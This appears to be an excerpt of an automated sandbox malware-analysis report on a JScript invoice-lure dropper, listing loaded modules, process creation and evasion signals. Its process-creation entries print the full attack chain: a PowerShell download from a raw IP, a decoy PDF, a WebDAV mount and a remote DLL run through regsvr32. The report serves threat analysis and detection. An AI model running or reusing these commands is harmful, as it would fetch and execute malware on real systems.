Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4985.js.csv");ITextStream.WriteLine(" entry:8478 f:rnfjjpb");ITextStream.WriteLine(" exec:2 f:rnfjjpb");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3773			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6089			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7120	Thread sleep count: 3773 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7120	Thread sleep count: 6089 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7068	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4856	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7180	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7428	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000001.00000002.1272620157.0000027DFD311000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: net.exe, 0000000E.00000002.1327414778.00000171FA44E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 0000000E.00000002.1327414778.00000171FA4AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.2552184435.000002AC8C658000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000010.00000002.2550649139.000002AC8B02B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
